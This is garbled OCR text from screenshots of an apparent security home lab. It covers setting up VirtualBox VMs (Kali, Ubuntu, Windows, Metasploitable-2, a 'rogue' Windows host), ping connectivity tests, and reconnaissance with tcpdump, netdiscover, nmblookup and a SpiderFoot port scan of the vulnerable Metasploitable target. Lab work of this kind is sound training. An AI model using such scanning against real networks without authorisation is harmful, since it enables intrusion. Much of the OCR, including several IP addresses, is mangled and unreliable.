Do 150 inage s selecte, the guet 05wl ned o be sl marualy

S| |k =

P Audis

Host Driver:  Default
Controler:  ICHACS7.

& wetwork

Adapter 1:_Intel PRO/1000 MT Desktop (Internal Network ntnet)
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 Creste Vitual Machine

Summary

“The following table summarizes the configuration you have chosen fo the new virtual machine. Vhen

you are happy with the configuration
o back and modiy the configuration.

press Finih to create the virtual machine. Alternatively you can

€% Machine Name and 05 Type
Machine Neme
Machine Folder
150 Image
Guest 05 Type
) Hardware
Base Memory
Processor(s)
£ Encble

@ ok

Attached Disk

KaiiBox
C:Users/s223617 Vi tuslBox VM K Box

Orade Linux (64511

6144
1
fake

(Co\sers\52236175\V tualBox VMs KalBox Kl Box. v

wode ||

P Augis

Host Driver:
Controler:

Defaut
1CHACS7

& wetwork

Adapter 1:_Intel PRO/1000 MT Desktop (Internal Network ntnet)
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i Kali-Box [Running] - Oracle VM Vitual

Machine Input D

LI X By 5 5 O ¢ 07V |ac

Trash

File Actions Edit View Help

4 ifconfig
etho: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1500
inet 192.168.56.103 netmask 255.255.255.0 broadcast 192.168.56.255
. inet6 fe80::bl0c:bd83:8303:a2e5 prefixlen 64 scopeid 0x20<link>
File System ether 08:00:27:6f:63:47 txqueuelen 1000 (Ethernet)
RX packets 3 bytes 1770 (1.7 KiB)
RX errors 0 dropped @ overruns 0 frame 0

TX packets 24 bytes 3700 (3.6 KiB
TX errors @ dropped 0 overruns 0 carrier 0 collisions 0

To: flags=73<UP,LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inete ::1 prefixlen 128 scopeid @x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors 0 dropped @ overruns 0 frame 0
TX packets 4 bytes 240 (240.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Home

=tl
—(r00t® lali)-[~

L ping 192.168.56.103

PING 192.168.56.103 (192.168.56.103) 56(84) bytes of data

64 bytes from 192.168.56.103: icmp_seq-1 ttl-64 time
64 bytes from 192.168.56.103: icmp_seq=2 ttl-64 time
“r
— 192.168.56.103 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1025ms
rtt min/avg/max/mdev = 0.014/0.016/0.019/0.002 ms

—(ro0t® kali)-[~

1237
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Create Virtual Machine 7 %

Virtual machine Name and Operating System =

Please choose a descriptve name and destiation folder for the new virtual machine, The name you choose wil be:
Used throughout Vi tualBox to dentiy this machine. Additionaly, you can select an 1S image which may be used
to instal the guest operating system,

Name: [Ubuntu 24 @

Folder: || C:\sers 52236 79\irtusbox Vs ]
150 Inage: [ <ot sokcted> -]

dion

Type: |Linux MI= 5|

Version: | Ubuntu (64-bit) 5 =

Skip Unattended Installator

Do 150 nage s selectd, th et 05wl ned o be sl manualy
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Host Driver:  Default
Controler:  ICHACS7.
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Create Virtual Machine

Summary

“The following table summarizes the configuration you have chosen fo the new virtual machine. When
you are happy with the configuration press Fiish to create the virtual machine. Alternatively you can
o back and modiy the configuration.

& Hachine tame and 05 Type
acnerare -
Machine Folder C:/Users/s2236 179 VirtualBox VMs/Ubuntu-24.
o mags
Guest 05 Type. Ubuntu (54-bit)
© Hardware
e erers s
Processor(s) i
el e
@ o
[ .
el 52 e
wose ||
o

HostDnver: Defaut
Controler:  1CHACS?.
& wetwork
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Gz & Contrller: SATA Informatin
Audo @ vom2sva fos
See: 56968
Network Location: - C:\Jsers\s2236 179 porloads\ubuntu 24
Attached tor Ubuntu 24475
SeralPorts
s

Shared Folders

User Interface:

@ @

Heb

& Wetwork

Adapter 1:_Intel PRO/1000 MT Deckion
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P Ubuntu-24 [Running] - Oracle VM VirtualBo» st o

Input _Devices _Help

Jul29 13:28

m ksakthiio01@Ubuntu24-VirtualBox: ~ Q D ©® &

ksakthii001@Ubuntu24-VirtualBox:-$ ifconfig
enps3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
a inet 192.168.1.101 netmask 255.255.255.0 broadcast 192.168.1.255
ether 08:00:27:a3:09:bb txqueuelen 1000 (Ethernet)
RX packets 20 bytes 3122 (3.1 KB)
. RX errors 0 dropped @ overruns @ frame 0
TX packets 67 bytes 9818 (9.8 KB)
. \w, X errors @ dropped @ overruns @ carrier @ collisions @
lelp

Tlo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
5 inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 775 bytes 57046 (57. KB)
RX errors 0 dropped @ overruns @ frame 0
TX packets 775 bytes 57046 (57. KB)
TX errors 0 dropped 0 overruns @ carrier ® collisions 0

ksakthii001@Ubuntu24-VirtualBox:~$ ping 192.168.1.101

PING 192.168.1.101 (192.168.1.101) 56(84) bytes of data.

64 bytes from 192.168.1.101: icmp_seq=1 ttl=64 time=0.018 ms
64 bytes from 192.168.1.101: icmp_seq=2 ttl=64 time=0.018 ms
G

--- 192.168.1.101 ping statistics ---

2 packets transmitted, 2 received, 0% packet loss, time 1062ms
rtt min/avg/max/mdev = 0.018/6.018/0.018/0.000 ms
ksakthii001@Ubuntu24-VirtualBox:~$

. o F
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Fie Madhine View Input Devices Help

< Network and Internet > Network Connections > v o

Search Network Connections

Organize v Disable this network device  Diagnose this connection  Rename this connection >

Ethernet
% Unidentfied network
@7 Intel(R) PRO/1000 MT Desktop Ad.

™

Internet Protocol Version 4 (ICP/1Pv) Properties

Networking prmy

Coripc o You can get I settings assigned sutomataly ifyour network supports
& tel) PRO/1000 MT Desktop Adapter thiscapabity. Otherise, you need fo ask your network acminsbator
for the approprite P sefings.
Corfigue " s ’
T cornection uss th oowing s 8" T
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" Glent or Mirosoht Networks A
3 Fie and Prnter Sharing for Microsof Netwarks P address: 2 165, 1 102
005 Packet Schecier -
1 temet Protocol Version 4 TCP/IPvé)
01 4 Microsof Netwok Adepter Mulipexor Prtocol Defauit gateway:
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Windows-10-Home [Running] - Oracle VM VirtualBos

Machine View Input De: Heb

mmand Prompt

Reg/dcEn Ethernet adapter Ethernet:

Connection-specific DNS Suffix
Link-local IPv6 Address . . . . . : fe80::bcef:61e3:230f:cebb%4
IPv4 Address. . . . . . .. ...:192.168.1.102

7] Subnet Mask . . L o0 L0 L 95 g5e jEnll

Maom& BB Default Gateway . . . . . . . . . : 192.168.1.1
e

JWc: \Users\ksakthii>ping 192.168.1.161

Pinging 192.168.1.161 with 32 bytes of data
[Reply from 192.168.1.161: bytes-32 time<ims TTL=64
[Reply from 192.168.1.161: bytes-32 time<ims TTL-64

ping statistics for 192.168.1.161:
Packets: Sent = 2, Received = 2, Lost = @ (8% loss)
Approximate round trip times in milli-seconds
Minimum = ems, Maximum = Gms, Average = ems
control-c
e
c: \Users\ksakthii>ping 192.168.1.162

Pinging 192.168.1.162 with 32 bytes of data
[Reply from 192.168.1.162: bytes-32 time<ims TTL-128
Reply from 192.168.1.162: bytes-32 time<ims TTL-128

ping statistics for 192.168.1.162:
Packets: Sent = 2, Received = 2, Lost = @ (8% loss)
Approximate round trip times in milli-seconds
Minimum = ems, Maximum = Gms, Average = ems
control-c
e
c: \Users\ksakthii>ping 192.168.1.166

Pinging 192.168.1.160 with 32 bytes of data
[Reply from 192.168.1.160: bytes-32 time<ims TTL-64

ping statistics for 192.168.1.160:
Packets: Sent = 1, Received = 1, Lost = @ (8% loss)
Approximate round trip times in milli-seconds
Minimum = ems, Maximum = Gms, Average = ems

A B @ D) NG

QU & O ElWR Gl @@ rocrl
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P Ubuntu-24 [Running] - O

VirtualBox =

File M e View Input elp

- Jul29 1417

‘ m ksakthii001@Ubuntuz4-VirtualBox: ~ 2E e © &
a PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data.

64 bytes from 192.168.1.100: icmp_seq=1 ttl=64 time=0.251 ms
64 bytes from 192.168.1.100: icmp_seq=2 ttl=64 time=0.391 ms

. App Center
--- 192.168.1.100 ping statistics ---
2 packets transmitted, 2 received, 8% packet loss, time 1012ms
‘ rtt min/avg/max/mdev = 0.251/0.321/6.391/0.070 ms
ksakthii001@Ubuntu24-VirtualBox:~$ ping 192.168.1.101
PING 192.168.1.101 (192.168.1.101) 56(84) bytes of data
= 64 bytes from 192.168.1.101: icmp_seq=1 ttl=64 time=0.020 ms
64 bytes from 192.168.1.101: icmp_seq=2 ttl=64 time=0.023 ms

ac

a --- 192.168.1.101 ping statistics ---
2 packets transmitted, 2 received, 8% packet loss, time 1013nms
rtt min/avg/max/mdev = 0.020/0.021/0.023/0.001 ms
ksakthii@@1@Ubuntu24-VirtualBox:~$ ping 192.168.1.102
PING 192.168.1.102 (192.168.1.102) 56(84) bytes of data
64 bytes from 192.168.1.102 i
64 bytes from 192.168.1.102:
ac
--- 192.168.1.102 ping statistics ---
2 packets transmitted, 2 received, 8% packet loss, time 1005ms
rtt min/avg/max/mdev = 0.399/0.422/0.445/0.023 ms
ksakthii001@Ubuntu24-VirtualBox:-$ I

B Moot~ Bt e T
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i Metespolitable-2 [Running] -
e ot

sfadninenetasploitable
sfadninenetasploitable:~$ ping 192.168.1.101

PING 192.168.1.101 (192.168.1.101) 56(84) bytes of data.
b4 bytes from 192.168.1.101: icmp_se

b4 bytes fron 192.168.1.101: icmp_seq

192.168.1.101 ping statistics ———

frtt minsavg/max/mdev 0.352,4.341,8.331/3.990 ns
sfadminenctasploitable:~$ ping 192.168.1.100

b4 bytes from 192.168.1.100

192.168.1.100 ping statistics -—-
1 packets tramsmitted, 1 received, 0% packet loss, time Ons
rtt ninsavg/max/mdev 16/0.018/0.018/0.000 ns
sfadninenetasploitable:™S _

) @ @O Brecn
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Fie  Machine

¥

RecycleBin

MiChi crosoft Windows [Version 10.0.19045.2006]
() microsoft Corporation. All rights reserved.

c: \Users\rogueuser>ipconfig

windows TP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS Suffix
Link-local IPv6 Address . . . . . : fese::deis
1Pva Adiiresssi it s e 103 (1BRIGG
SiibnettMaskcrie ez ei s e e DEG kG155
Default Gateway .

C: \Users\rogueuser>ping 192.168.56.164

Pinging 192.168.56.164 with 32 bytes of data:
Reply from 192.168.56.164: bytes=32 time<ims TTL=128
Reply from 192.168.56.104: bytes=32 time<ims TTL=128

ping statistics for 192.168.56.104:
Packets: Sent = 2, Received = 2, Lost = @ (8% loss)
Approximate round trip times in milli-seconds
Minimum - ems, Maximum = @ms, Average = ems
Control-C
e
C: \Users\rogueuser>_

=@ 0] @y
& Todaysevents A T dx zs/‘n‘:/szsnu (]
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New Add  Settngs Di

 Creste Vitual Machine

Virtual machine Name and Operating System

Please choose 2 descriptive name and destiation folder for the new virtual machine, The name you choose wil be used throughout VirtualBox to
identify this machine. Addtonaly, you can select an ISO image which may be used to nstal the guest operating system.

Name: [ 2015 Server

Folder: | C:\sers 52236 179\irtusbox Vs |
150 Tmage: | [5] C:\Wsers\62236173 Downloads \en_windows_server_2019_essentials_updated_sept_2019_x64_dvd_a191f3af (1).50 ]
- ’
Editon: Windows Server 2019 Essentis (10,0,17763.737 / x64 | en-US)

Type: [Microsoft Windows

jersion: Windows 2019 (64510

Skip Unattended Installation

(@ You have selctd o sp unatended gest 05 nsta, th et 05wl nee o be sl marcaly,

b S| [ et

apter T Tntel PROTI000 T Deskiop (Hostoriy Aapter, Viriialiox HosEOnly Eferet Adpter)

5 s

USB Controler: - xHCT
Device Fiters: 0 (0 active)
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None
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New Add | Setings Discard Start

¥ Create Virtual Machine ?

Summary

“The following table summarizes the configuration you have chosen for the new virtual machine. Vihen
you are happy with the configuration press Fiish to create the virtual machine. Alternatvely you can
o back and modiy the configuration.

€3 Machine Nlame and 05 Type
‘ Wachine Name Widos-201-Server
Machine Folder C:/Users/s2236179)VirtualBox VMs Windows-2019-Server
150 Image C:/Users/s2236179/Downloads/en_windows_server_2019_essentials_updated_sept_2019_x64_dvd_a191f3.
LR ’ Guest 05 Type Windows 2013 (6+bit)
S Unattended Instal e
) Hardware
ace Memory a2
Processor(s) ¥
EF1Enatle fake
@& oisk
Disk Size 120.00 GB I
pre-alocate Fl Sze fase

e wode || o
\dapter 1 Intel PROJI000 MT Desktop (Host-only Adapter, VirtualBox Host-Only Ethernet Adapter )
£ uss

USB Controler: xHCT
Device Fiters: 0 (0 active)

[ shared fokders

Nore

5
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[Running]

Machine Input D

Recycle Bin

B Administrator: Command Prompt
Microsoft Windows [Version 16.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved

C:\Users\Administrator>ipconfig

windows IP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS Suffix
Link-local IPv6 Address . . . . . : feB0::756a:804b:08ed:d7fb%6
IPv4 Address. . . . . . . ... .: 192.168.56.166

Subnet Mask . . . . . .. ....: 255.255.255.0

Default Gateway .

C:\Users\Administratorsping 192.168.56.106
Pinging 192.168.56.106 with 32 bytes of data:

Reply from 192.168.56.106: bytes=32 time<ims TTH
Reply from 192.168.56.106: bytes=32 time<ims TTI

Ping statistics for 192.168.56.106:
Packets: Sent = 2, Received = 2, Lost = @ (8% loss)
Approximate round trip times in milli-second
Minimum = ems, Maximum = Gms, Average = Oms
Control-C

A
C:\Users\Administrators,
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New Add | setings Discard Show

Create Virtual Machine ? X
Summary
B ubuntu-24 The foloying table summarizes the confgurtion you have chosen orthe nev vt machine, Vihen
@ ponered off Jou s happy it theconfration press Fih t ceste e vrtual machine, Altematvely you can

o back and modiy the configuration.

I Windows-10-Home @ Mactine lame and 05 Type
f15] © Powered off Machine Name Windows-10-pro
Machine Folder C:/Users/s2236179 VirtualBox VMs/Windows-10-Pro
150 Image. C:JUsers/s2236 173/Dowrloads/en-us_windows_10_consumer_editions_ver... | |
Kali-Box , Guest 05 Type Windows 10 (64-bi)
-
[ fopeetiity Sotnevenl
O Hardware
Siogme Binins 03 Base vemory s152
piyn Processor(s) 1
© EF1 Enable false
@ oisk
[ Windows-2019-Ser Disk Size: 80.00 GB
AN
giig) < Ruming pre-slocate Ful Size flse

b s || o

Convoler: TCHACS?
& wetwork
Adapter 2: Intel PRO/1000 MT Desktop (NAT)

5 s

USB Controller: - OHCL, EHCI
Device Fiters: 0 (0 active)
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[Running]

Input  Device

RecycleBin

Hicrosoft Windows [Version 16.0.19045.2006] ~
M (c) Microsoft Corporation. All rights reserved

Ed
C: \Users\sakth>ipconfig

windows TP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS Suffix .
Link-local IPv6 Address . . . . . : feB0::2861:cc69:7b87:284b%2
1Pv4 Address. 192.168.56.167

Subnet Mask . 255.255.255..6

Default Gateway .

c: \Users\sakth>ping 192.168.56.167

Pinging 192.168.56.167 with 32 bytes of dat
Reply from 192.168.56.167: 2 timecins
Reply from 192.168.56.167: bytes=32 time<ims
Reply from 192.168.56.167 2 timecins TTL-128
Reply from 192.168.56.167: 2 timecins TTL-128

ping statistics for 192.168.56.167
Packets: Sent - 4, Received = 4, Lost = @ (8% loss)
Approximate round trip times in milli-seconds
Minimum - ems, Maximum = Gms, Average = ems

C:\Users\sakth>
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i Kali-8ox [Running] - Oracle VA

i It D
O % A 0NN & cC

STrash B root@kali: (x]
File Actions Edit View Help

root® kali)-[~

inet 192.168.56.103 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::bl0c:bd83:8303:a2e5 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:67:63:47 txqueuelen 1000 (Ethernet)

RX packets 28 bytes 5322 (5.1 KiB

RX errors @ dropped @ overruns 0 frame 0

. TX packets 24 bytes 4352 (4.2 KiB)

TX errors 8 dropped 0 overruns 0 carrier @ collisions @

To: flags=73<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inets prefixlen 128 scopeid @x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors @ dropped @ overruns 0 frame 0
TX packets 4 bytes 240 (240.0 B) '

TX errors 8 dropped 0 overruns 0 carrier @ collisions @

—(root® kati)-[~
~ ping 192.168.56.103

PING 192.168.56.103 (192.168.56.103) 56(84) bytes of data

64 bytes from 192.168.56.103: icmp_seq-1 ttl-64 time=0.014 ms

64 bytes from 192.168.56.103: icmp_seq=2 ttl-64 time=0.023 ms

8

— 192.168.56.103 ping statistics —

2 packets transmitted, 2 received, 0% packet loss, time 1007ms

rtt min/avg/max/ndev = 0.014/0.018/0.023/0.004 ms

—(root® kali)-[~
/ ping 192.168.56.102

PING 192.168.56.102 (192.168.56.102) 56(84) bytes of data

64 bytes from 192.168.56.102: icmp_seq-1 ttl-64 time=0.570 ms

64 bytes from 192.168.56.102: icmp_seq=2 ttl-64 time=0.346 ms

T4

— 192.168.56.102 ping statistics —

2 packets transmitted, 2 received, 0% packet loss, time 1026ms

rtt min/avg/max/ndev = 0.346/0.458/0.570/0.112 ms

root® kali)-[~

o
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i Metaspolitable-2 (Running] -
e ot 0

RX bytes:9864 (9.6 KB) 1IX bytes:9118 (8.9 KB)
Base address:0xd240 Memory:f0820000-10840000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:i
nsfadninenetasploitable: ™9
nsfadninenetasploitable:™$ ping 192.168.56.102
PING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.
64 bytes from 192.168.56.102: icmp_seq=1 tt
64 bytes from 192.168.56.102: icmp_seq=2 tt

- 192.168.56.102 ping statistics
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/ndev = 0.009,/0.009,/0.010,0.003 ns
nsfadmin@netasploitable:™$ ping 192.168.56.103

PING 192.168.56.103 (192.168.56.103) 56(84) bytes of data.

64 bytes from 192.168.56.103: icmp_seq=1 tt1=64 tine=0.292 ms
64 bytes from 192.168.56.103: icmp_seq=2 ttl1=64 time=0.321 ms

- 192.168.56.103 ping statistics
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev 92/0.306,0.321/0.022 ns
nsfadninenetasploitable:™S _
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[Running]

Machin Input

BeampPwE- | 23 4|6 |[[ oo a0oms|ac

E root@kali: ~ [x}

File Actions Edit View Help

—(ro0t® kali)-[~
Trash L ping 192.168.56.107

PING 192.168.56.107 (192.168.56.107) 56(84) bytes of data

64 bytes from 192.168.56.107: icmp_seq-1 ttl-128 time-0.304 ms
64 bytes from 192.168.56.107: icmp_seq-2 ttl-128 time-0.302 ms
2

— 192.168.56.107 ping statistics —
L 2 packets transmitted, 2 received, 0% packet loss, time 1023ms

/Fllssyslsm rtt min/avg/max/mdev - 0.302/0.303/0.304/0.001 ms

—(r00t® kali)-[~
L ping 192.168.56.106
PING 192.168.56.106 (192.168.56.106) 56(84) bytes of data

- 64 bytes from 192.168.56.106: icmp_seg=1 tt1=128 time=0.311 ms
64 bytes from 192.168.56.106: icmp_seq-2 ttl-128 time=0.354 ms
o
Home. — 192.168.56.106 ping statistics —

2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/ave/max/ndev = 0.311/0.332/0.354/0.021 ms

—(root® kali)-[~
/ ping 192.168.56.104

PING 192.168.56.104 (192.168.56.104) 56(84) bytes of data

64 bytes from 192.168.56.104: icmp_seq-1 ttl-128 time-0.435 ms

64 bytes from 192.168.56.104: icmp_seq-2 ttl-128 time-0.418 ms
wgC

— 192.168.56.104 ping statistics —

2 packets transmitted, 2 received, 0% packet loss, time 1025ms

rtt min/ave/max/ndev = 0.418/0.426/0.435/0.008 ms

—(root® kali)-[~
4 ifconfig
etho: flags-4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 192.168.56.103 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe0::bl0c:bd83:8303:a2e5 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:6f:63:47 txqueuelen 1000 (Ethernet)
RX packets 161 bytes 24338 (23.7 KiB
RX errors @ dropped @ overruns 0 frame 0
TX packets 113 bytes 12798 (12.4 KiB
TX errors 0 dropped 0 overruns 0 carrier 8 collisions @
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Recycle Bin

Input

o

¥ Administrator: Command Prompt

Ethernet adapter Ethernet:

Connection-specific DNS Suffix
Link-local IPv6 Address . . . . . : fe80::756a
IPv4 Address. . . . . . . ... .: 192.168.56
Subnet Mask . . . . . .. ....: 255.255.25
Default Gateway .

C:\Users\Administratorsping 192.168.56.163

Pinging 192.168.56.103 with 32 bytes of data:
Reply from 192.168.56.103: bytes=32 time<ims TTL=

Ping statistics for 192.168.56.103:
Packets: Sent = 1, Received = 1, Lost = 6 (6%

Approximate round trip times in milli-second
Minimum = ems, Maximum = Gms, Average = Oms

Control-C

i

C:\Users\Administratorsping 192.168.56.164

Pinging 192.168.56.164 with 32 bytes of data:
Reply from 192.168.56.104: bytes=32 time<ims TTL=128

Ping statistics for 192.168.56.164
Packets: Sent = 1, Received = 1, Lost = @ (8% loss)
Approximate round trip times in milli-seconds
Minimum = ems, Maximum = Gms, Average = Oms
Control-C

2
C:\Users\Administratorsping 192.168.56.167

Pinging 192.168.56.107 with 32 bytes of data:
Reply from 192.168.56.167: bytes=32 time<ims TTL=128

Ping statistics for 192.168.56.167:
Packets: Sent = 1, Received = 1, Lost = @ (8% loss)
Approximate round trip times in milli-second
Minimum = ems, Maximum = Gms, Average = Oms
Control-C
z
C:\Users\Administrator>
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Nindows-10-Pro [Running] -

Machine View Input

ommand Prompt
Ethernet adapter Ethernet:

Connection-specific DNS Suffix .
Link-local IPv6 Address . . . . . : fe86::2861:cc69:7b87:284b%2
IPv4 Address. . . . . . . ... .: 192.168.56.167

Subnet Mask . . . . ... ....: 255.255.255.6

Default Gateway .

Jc: \Users\sakth>ping 192.168.56.163

pinging 192.168.56.103 with 32 bytes of data:
[Reply from 192.168.56.103: bytes=32 time<ims TTL=64
[Reply from 192.168.56.103: bytes=32 time<ims TTL=64

ping statistics for 192.168.56.103:
Packets: Sent = 2, Received = 2, Lost = @ (8% loss)
Jppproximate round trip times in milli-seconds
Minimum = ems, Maximum = @ms, Average = ems

Jc: \Users\sakth>ping 192.168.56.164

Jpinging 192.168.56.104 with 32 bytes of data:
Reply from 102.168.56.104: bytes=32 time<ims TTL=128
[Reply from 192.168.56.104: bytes=32 time<ims TTL=128

ping statistics for 192.168.56.104:
Packets: Sent = 2, Received = 2, Lost = @ (8% loss)
Jppproximate round trip times in milli-seconds
Minimum = ems, Maximum = @ms, Average = ems

Jc: \Users\sakth>ping 192.168.56.166

Jpinging 192.168.56.106 with 32 bytes of data:
Reply from 192.168.56.106: bytes=32 time<ims TTL=128
[Reply from 192.168.56.106: bytes=32 time<ims TTL=128

ping statistics for 192.168.56.106:
Packets: Sent = 2, Received = 2, Lost = @ (8% loss)
Jppproximate round trip times in milli-seconds
Minimum = ems, Maximum = @ms, Average = ems
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) (Running] - Oracle VM Virtual

Input D

REGCIEE  Connection-specific DNS Suffix

: Link-local IPv6 Address .
Ipva Address. z
i Subnet Mask .

Gl Berault Gatemny

SiC: C:\Users\rogueuser>ping 192.168.56.103

Pinging 192.168.56.103 with 32 bytes of data
Reply from 192.168.56.103: bytes=32 time<ims TTL=64
Reply from 192.168.56.103: bytes=32 time<ims TTL=64

Ping statistics for 192.168.56.103:

Packets: Sent = 2, Received = 2, Lost = @ (8% loss)

Approximate round trip times in milli-seconds
Minimum = ems, Maximum = Gms, Average = ems

Control-C

pes

C:\Users\rogueuser>ping 192.168.56.106

Pinging 192.168.56.106 with 32 bytes of data

Reply from 192.168.56.106: bytes=32 time<ims TTL=128

Reply from 192.168.56.106: bytes=32 time<ims TTL=128

Ping statistics for 192.168.56.106:

Packets: Sent = 2, Received = 2, Lost = @ (8% loss)

Approximate round trip times in milli-seconds
Minimum = ems, Maximum = Gms, Average = ems

Control-C

pes

C:\Users\rogueuser>ping 192.168.56.167

Pinging 192.168.56.167 with 32 bytes of data

Reply from 192.168.56.167: bytes=32 time<ims TTL=128

Reply from 192.168.56.167: bytes=32 time-Sms TTL=128

Ping statistics for 192.168.56.167:

Packets: Sent = 2, Received = 2, Lost = @ (8% loss)

Approximate round trip times in milli-seconds
Minimum = ems, Maximum = Sms, Average = 2ms
Control-C

16:46
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Oracle VM VirtuslBox Manager - o x

Fie Machne Help

B4 o Wl @ OH.

New Add | Setings Discard Strt
PR iciaspihiite's =] General =] preview
R ©roneredor Name: Rogue-Wiindows-10
Operating System:  Windows 10 (64-bit)
= 2 (=] system
Fll ©roveredore Base Memory: 819218 p
BootOrder:  Floppy, Optical, Hard Disk Rogue-Windows-10

Acceleration:  Nested Pagng, Hyper-V Paravirtualization
Windows-10-Home

@ poneredoff = oisplay
ideo My 128
Graphics Contoler:  VGoxSVGA
Kali-Box Remote Deskiop Server; Disbled
© poneredoff Recordng Osabled
@ storage

Controler: SATA

SATAPOrt0:  Rogue-Windows-10.vdi (Norml, 80.00 GB)

SATAPort 1:  [Optical Drive] en-us_indos_10_consumer_editions_version_22h2_x64_dvd_8da72ab3
(@)is0 (5.70 GB)

0 Audio

Host Driver:  Default
Controler: _Intel HD Audio

Windows-10-Pro
@ ponersdoff & network

Adapter 1 Intel PRO/1000 MT Desktop (Host-only Adapter, VirtiaBox Host-Only Ethernet Adapter)

£ vsp
(7] shared folders

None
® Descrption

None

Eamings upcoming
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—(root® kali)-[~:

ifconfig
dockero:

lags=4899<UP, BROADCAST , MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 2a txqueuelen 0 (Ethernet)

RX packets 0 bytes 0 (0.0 B)

RX errors @ dropped 0 overruns @ frame 0

TX packets 0 bytes 0 (0.0 B)

TX errors 0 dropped 0 overruns 0 carrier 8 collisions 0

etho: flags=4163<UP,BROADCAST, RUNNING, MULTICAST> mtu 1500

inet 192.168.56.103 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::blec:bd83:8303:a2e5 prefixlen 64 scopeid @x20<link>
ether 0 7 txqueuelen 1000 (Ethernet)

RX packets 228 bytes 32100 (31.3 KiB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 403 bytes 30029 (29.3 KiB
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ethl: flags=4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500

inet 10.0.3.15 netmask 255.255.255.0 broadcast 10.0.3.255
inet6 fe0::444:5861:9f38:adcc prefixlen 64 scopeid 0x20<link>
ether 08: 2 txqueuelen 1000 (Ethernet)

RX packets 17500 bytes 24971533 (23.8 MiB)

RX errors 0 dropped @ overruns 0 frame 0

TX packets 2388 bytes 233380 (227.9 KiB

TX errors 0 dropped 0 overruns 0 carrier 8 collisions @

To: flags=73<UP,LOOPBACK, RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0
inet6 prefixlen 128 scopeid 0x10<host>

loop txqueuelen 1000 (Local Loopback)
RX packets 804 bytes 1551165 (1.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 804 bytes 1551165 (1.4 MiB)

o FISE250 -322% A~ Tl dg
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File Actions Edit View Help

L$ sudo tcpdump -i etho
[sudo] password for kali:
tcpdump: verbose output suppressed, use -vIv] .
Tistening on etho, link-type ENLOMB (Ethernet),

07:27:10.787239 ARP, Request who-has 192.168.56
07:27:10.787562 ARP, Reply 192.168.56.100 is-at
th 46

07:27:17.349902 ARP, Request who-has 192.168.56
07:27:59.420802 IP 192.168.56.1.51573 > 239.255
07:28:00.422410 IP 192.168.56.1.51573 > 239.255
07:28:01.423044 IP 192.168.56.1.51573 > 239.255
07:28:02.423794 IP 192.168.56.1.51573 > 239.255
4e

7 packets captured
7 packets received by filter
@ packets dropped by kernel

kali® kali)-[~
o |

for full protocol decode
snapshot length 262144 bytes

100 tell 192.168.56.103, length
08:00:27:5d:5a:73 (oui Unknown)

1 tell 192.168.56.102, length 4

.255.250.1900: UDP, length 175
.255.250.1900: UDP, length 175
.255.250.1900: UDP, length 175
.255.250.1900: UDP, length 175

FTSE350 -255%

1228
AT g N
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Currently scanning:

Finished!

| Screen View: Unigue Hosts

3 Captured ARP Req/Rep packets, from 3 hosts.

Total size: 180

T At MAC Address  Count Len MAC Vendor / Hostname
192.168.56.1 @ 60 Unknown vendor
| 192.168.56.100 08:00:27:5d:52:73 60 PCS Systemtechnik GmbH
192.168.56.102 0 60 PCS Systemtechnik GmbH
(root® kali)-[~
L mblookup -a 152.168.56.102
Looking up status of 192.168.56.102
METASPLOITABLE  <00> - B <ACTIVE>
METASPLOTTABLE  <03> - B <ACTIVE>
METASPLOTTABLE <205 - B <ACTIVE>
WORKGROUP <00> - <GROUP> B <ACTIVE>
WORKGROUP <le> - <GROUP> B <ACTIVE>

MAC Address = 00-00-00-00-00-00

(root® kali)-[~
Gin
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KaliLinux @ KaliTools = Kali Docs ¢ KaliForums o< Kali NetHunter = Exploit-DB  Google Hacking D

#% spiderfoot  #Newscan Escans  /Sotings Light Mode: © foout

Meta-Network rnsieo

@Sunmary | @ Conolations | BBrowso | # Graph | @ Scanattngs | MLog Be==F-
Browse | Open TCP Por
O Dua it [— o Soucettoae o enttod -
O 102.108.56.102:111 192.168.56.102 sfp_portscan_tep 2024-08-05 07:35:03
O 192.108.56.102:139 192.168.56.102 s7p_portscan_tep 2024-98-05 07:35:03
O 102.160.56.102:21 192.168.56.102 stp_portsean_tep 2024-88-05 07:35:03
O sos.so.ozizs 102.100.58.102 stp_portscan_tep 2024-08.05 07:35:08
192.150.55. 1021512 stp_portscan_cep 2024-00-05 07235108
O so0.100.50.10208032 102.100.58.102 [ER—— 2020-08-05 07:35:08
O 102.108.56.102:22 192.168.56.102 sfp_portscan_tep 2024-98-05 07:35:32
